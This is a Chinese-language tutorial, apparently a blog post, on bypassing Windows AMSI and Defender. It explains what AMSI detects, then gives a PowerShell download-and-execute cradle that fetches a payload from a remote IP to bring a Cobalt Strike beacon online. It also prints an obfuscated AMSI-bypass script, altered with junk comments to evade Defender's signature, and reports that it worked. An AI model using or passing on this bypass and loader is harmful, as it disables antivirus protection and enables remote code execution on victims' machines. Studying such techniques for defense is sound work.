0x00 简介

AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口。在Windows Server 2016和Win10上默认安装并启用。
使用案例:通过远程URL访问,在不落地的情况下执行PS代码,但是会被AMSI检测拦截。
Win10 AMSI标准允许系统上安装的杀毒软件对系统进行深度的监控扫描,而且无需用户参与。允许基于AMSI接口的安全软件,通过AMSI接口扫描文件,内存、数据流等,进行内容源的URL/IP认证检查,并采用技术手段识别恶意行为。帮助用户更加方便有效地防范基于动态脚本的恶意软件和其他攻击行为。
检测对象

  • 文件
  • 内存
  • 数据流

检测目的

  • 对抗基于脚本的攻击检测
  • 对抗无文件攻击检测

可检测到的攻击手段

  1. Powershell.exe执行的脚本
  2. 不使用powershell.exe的情况下运行脚本
  3. 使用单独的runspace(p0wnedshell,psattack)
  4. System.Automation.Dll(nps,Powerpick)
  5. 从WMI命名空间、注册表键和事件记录日志中加载脚本
  6. 应用白名单绕过方式-InstallUtil,,regsrv32和rundll32。

配置AMSI
Win10 与Windows Server 2016默认是AMSI默认杀毒软件是Windows Defender。
image.png
如果已经安装360安全卫士,请在“设置中心”-“开启Defender”中,勾选开启Windows Defender防护。
image.png

0x01 AMSI拦截

开启defender实时保护,也会开启AMSI(Antimalware Scan Interface), 即反恶意软件扫描接口
尝试最简单的powershell上线cs失败,被检测为恶意内容

IEX ((new-object net.webclient).downloadstring(‘http://1.11.1.1:80/a‘))

image.png

0x02 通过AMSI_bypass_2021_09.ps1绕过

项目地址

https://github.com/tihanyin/PSSW100AVB

脚本内容如下
image.png
尝试使用失败,该脚本静态特征被加入defender特征库
image.png
尝试修改特征,添加一些注释,再不行可以添加字符串转换
image.png

  1. #@1111111111111
  2. $A="5492868772801748688168747280728187173688878280688776828"
  3. $B="1173680867656877679866880867644817687416876797271"
  4. [Ref].Assembly.GetType([string](0..37|%{[char][int](29+($A+$B).
  5. #@1111111111111
  6. substring(($_*2),2))})-replace " " ).
  7. #@1111111111111
  8. GetField([string](38..51|%{[char][int](29+($A+$B).
  9. #@1111111111111
  10. substring(($_*2),2))})-replace " ",'NonPublic,Static').
  11. SetValue($null,$true)

先执行脚本绕过amsi,然后执行powershell命令上线成功
image.png
image.png

0x03 参考

https://www.sohu.com/a/283001838_120045376